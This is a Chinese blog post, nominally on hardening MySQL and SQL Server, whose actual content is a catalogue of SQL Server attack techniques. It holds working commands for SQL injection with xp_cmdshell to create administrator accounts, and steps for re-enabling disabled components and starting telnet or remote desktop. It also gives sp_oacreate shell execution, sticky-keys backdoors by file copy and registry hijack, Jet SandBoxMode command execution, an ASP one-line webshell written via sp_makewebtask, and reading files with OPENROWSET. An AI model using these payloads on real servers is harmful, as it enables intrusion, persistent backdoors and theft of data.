目录

. 引言
. Mysql
. Sqlserver

1. 引言

黑客获取了数据库的帐号密码之后,就可以通过Database Client登录数据库,利用SQL指令、数据库指令执行组件进行进一步的提权渗透操作

2. Mysql

3. Sqlserver

0x1: 指令执行加固

1. 创建系统账户

利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户

. 创建系统账户
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令 如果出现:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
则必须先开启xp_cmdshell的组件 EXEC master..xp_cmdshell 'ipconfig'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/

Relevant Link:

http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm

2. 创建数据库的登录账户(注意和系统的登录账户区分开来)

exec master.dbo.sp_addlogin little,;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go

3. 开启3389或者telnet
这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet

//telnet
xp_servicecontrol 'start','tlntsvr' 如果开启了telnet服务之后,我们用系统账户去登入出现了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
则可以尝试再开启:seclogon服务
xp_servicecontrol 'start','seclogon'
可能能解决问题 //3389远程桌面的服务名是:termservice
xp_servicecontrol 'start','termservice'

4. sp_oacreate

. 创建用户
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"' . 开启服务
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"'
//cmd命令可以任意 /*
如果出现:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"
可以尝试开启 Ole Automation Procedures 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
*/

5. scripting.filesystemobject

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
/*
这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator大一些
*/

6. Shell.Application

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:\windows\system32','',;

7. Shell.Application

. 开启SQLSERVERAGENT服务
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' . 执行指令
use msdb
create table [jncsql](resulttxt nvarchar() null)
exec sp_delete_job null,'x' exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'','cmdexec','cmd /c "net user little /add"'
exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';

8. SandBoxMode(沙盒模式)

在access里调用VBS的shell函数,以system权限执行任何命令

. 打开SandBoxmode
//使用这个函数之前必须把注册表里的SandBoxmode开关打开
注册表:
HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode'
默认值为2,这个人键值为0表示开启
) 修复注册表的读写
use master
go
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll') ) 修改沙盒的保护模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', . 查看'SandBoxMode'值是否已经变成0了(1或0都可以执行命令)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode' . 最后调用沙盒模式
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:\windows\system32\ias\ias.mdb','select shell("net user little 123456 /add")'); . cmd.exe的权限不对,是不会有回显的
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:\web\ias.mdb','select shell("E:\web\cmd.exe /c E:\web\net.exe user user little 123456 /add")') . 可以输入一下命令来执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user little 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")')
/*
如果出现:
SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"尝试:
启用Ad Hoc Distributed Queries:
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure 使用完成后,关闭Ad Hoc Distributed Queries:
exec sp_configure 'Ad Hoc Distributed Queries',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
*/

Relevant Link:

http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml

9. 直接备份一句话木马

exec sp_makewebtask 'WEB绝对路径/fuck.asp',' select ''<%eval request("op")%>'' ';--
//WEB与DATA在同一主机,知道WEB目录 例如:
exec sp_makewebtask 'C:\Inetpub\wwwroot\fuck.asp',' select ''<%eval request("op")%>'' ';-- /*
如果出现了:
SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 可以尝试
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Web Assistant Procedures', 1;
GO
RECONFIGURE
GO
*/

10. 操作注册表

除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\services\LanmanServer\Parameters', 'Guid'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

11. 其他命令

. xp_servicecontrol: 允许用户启动、停止服务
exec master..xp_servicecontrol 'start', 'schedule' . exec master..xp_availablemedia: 显示机器上有用的驱动器 . exec master..xp_dirtree: 允许获得一个目录树 . exec master..xp_enumdsn: 列举服务器上的ODBC数据源 . exec master..xp_loginconfig: 获取服务器上的安全信息 . exec master..xp_makecab: 允许用户在服务器上创建一个压缩文件 . exec master..xp_ntsec_enumdomains: 列举服务器可以进入的域 . exec master..xp_terminate_process: 提供进程的进程ID,终止此进程

12.利用openrowset读取敏感数据

要完成这个攻击,有几个必要条件

. sqlserver具有操作system目录、文件的权限
. 黑客得到了sqlserver的帐号、密码

利用sqlserver的文件IO操作功能,进行二进制流的操作,将cmd.exe文件覆盖到粘滞键程序中,形成shift后门

select * from openrowset(BULK N'C:\WINDOWS\system32\cmd.exe', SINGLE_BLOB) AS Contents
select * from openrowset(BULK N'C:\secret.txt', SINGLE_CLOB) AS Contents

13. 注册表劫持粘贴键

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

14. sp_oacreate替换粘贴键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

15. public权限提权操作

USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = ,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

16. sp_OACreate加载COM组件shell.user加管理员用户

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

Relevant Link:

http://blog.csdn.net/it_zen/article/details/1545725
http://www.2cto.com/Article/201112/112946.html

Copyright (c) 2014 LittleHann All rights reserved

Database(Mysql、Sqlserver) Configuration Security Reinforcement的更多相关文章

  1. Oracle、DB2、MySql、SQLServer JDBC驱动

    四种数据库JDBC驱动,还列出了连接的Class驱动名和Url Pattern,DB2包括Type 2.Type 3和Type 4三种模式.注意驱动包名称的大小写. Oralce连接驱动包名和URL ...

  2. Oracle、MySql、SQLServer数据分页查询

    看过此博文后Oracle.MySql.SQLServer 数据分页查询,在根据公司的RegionRes表格做出了 SQLserver的分页查询语句: 别名.字段 FROM( SELECT row_nu ...

  3. 针对各主流数据mysql、sqlserver、oracle中文乱码问题。

    针对各主流数据mysql.sqlserver.oracle当以编码格式gbk存放数据时,要注意字符串类型的字段,要采用宽字符串nvarchar存放,前提是当你的应用程序是utf8编码,而数据库是gbk ...

  4. SQLite与MySQL、SQLServer等异构数据库之间的数据同步

    SQLite DBSync是开源嵌入式数据库SQLite的数据同步引擎,实现了SQLite与SQLite数据库之间以及SQLite与异构数据库(Oracle.MySQL.SQLServer)之间的增量 ...

  5. MySQL、SqlServer、Oracle 三种数据库的优缺点

    MySQL.SqlServer.Oracle 三种数据库的优缺点 一.MySQL 优点: 缺点: 二.SqlServer 优点: 缺点: 三.Oracle 优点: 缺点: 一.MySQL 优点: 体积 ...

  6. MySQL、SqlServer、Oracle,这三种数据库的优缺点,你知道吗?

    盘点MySQL.SqlServer.Oracle 三种数据库优缺点 MySQL SqlServer Oracle 一.MySQL 优 点 体积小.速度快.总体拥有成本低,开源:支持多种操作系统:是开源 ...

  7. spring boot 配置双数据源mysql、sqlServer

    背景:原来一直都是使用mysql数据库,在application.properties 中配置数据库信息 spring.datasource.url=jdbc:mysql://xxxx/test sp ...

  8. Java 使用 JDBC 连接数据库的代码整合[MySql、SqlServer、Oracle]-[经过设计模式改造](2020年寒假小目标01)

    日期:2020.01.08 博客期:121 星期三 今天对过去整个大二和大三上半学期用到的数据库的方法进行汇总,可以有效的使用.套用,每一个部分都有<软件设计模式>知识,上述代码满足了开闭 ...

  9. MySQL、SqlServer、Oracle三大主流数据库分页查询

    在这里主要讲解一下MySQL.SQLServer2000(及SQLServer2005)和ORCALE三种数据库实现分页查询的方法.可能会有人说这些网上都有,但我的主要目的是把这些知识通过我实际的应用 ...

随机推荐

  1. NET Core项目定义Item Template

    NET Core项目定义Item Template 作为这个星球上最强大的IDE,Visual Studio不仅仅提供了很多原生的特性,更重要的是它是一个可定制的IDE,比如自定义Project Te ...

  2. SQL Server对Xml字段的操作

    T-Sql操作Xml数据 一.前言 SQL Server 2005 引入了一种称为 XML 的本机数据类型.用户可以创建这样的表,它在关系列之外还有一个或多个 XML 类型的列:此外,还允许带有变量和 ...

  3. 设置 java -jar 的进程显示名称

    有时候我们会用 nohup java -jar xxx.jar来将一些可执行的java application挂在后台,类似windows服务一样来运行.但是有一个不爽的地方,在linux终端里用jp ...

  4. MvvmLight ToolKit 教程

    MvvmLightToolKit MvvmLightToolKit的源代码是托管在CodePlex上的,我们 可以从这里获取最新版本的源代码,不仅源码,版本发布的日志,更改了哪些,修复了哪些,以及一些 ...

  5. MFC下debug改成release版本出现问题及解决办法

    自己在debug下成功运行了自己写的测试自己写第三方库的程序,这里有用到opencv库,所以同时用到了自己的库和opencv的库,需求因为要进行速度的测试,是想要把debug改成release版本,这 ...

  6. Theano1.1-安装

    之前一直想弄theano,可是python不是很懂,在学习了一段时间之后开始安装theano.当然官网上的安装资料是全,可是也太繁琐了.这里介绍的是最简单,最方面的安装theano的方法.官网首页:h ...

  7. 网页上传图片 判断类型 检测大小 剪切图片 ASP.NET版本

    本文转载自:http://www.youarebug.com/forum.php?mod=viewthread&tid=56&extra=page%3D1 我们在网页上传图片的时候,特 ...

  8. Android开发自学笔记(Android Studio1.3.1)—1.环境搭建

    一.引言 .Google推出的 毫无疑问,这个是它的最大优势,Android Stuido是Google推出,专门为Android"量身订做"的,是Google大力支持的一款基于I ...

  9. j-link或者swd调试

    两种 一.JTAG调试(5针), 二.SWD调试(2针), 在JTAG/SWD模式设置库函数 (在文件stm32f10x_gpio.c中): void GPIO_PinRemapConfig(uint ...

  10. Linq的TakeWhile误用

    where(func<>)返回符合条件的元素 与此相对的skipwhile跳过符合条件的,返回剩下的元素 容易误用的takewhile,与where 不一样,只有当所有元素满足条件时,才返 ...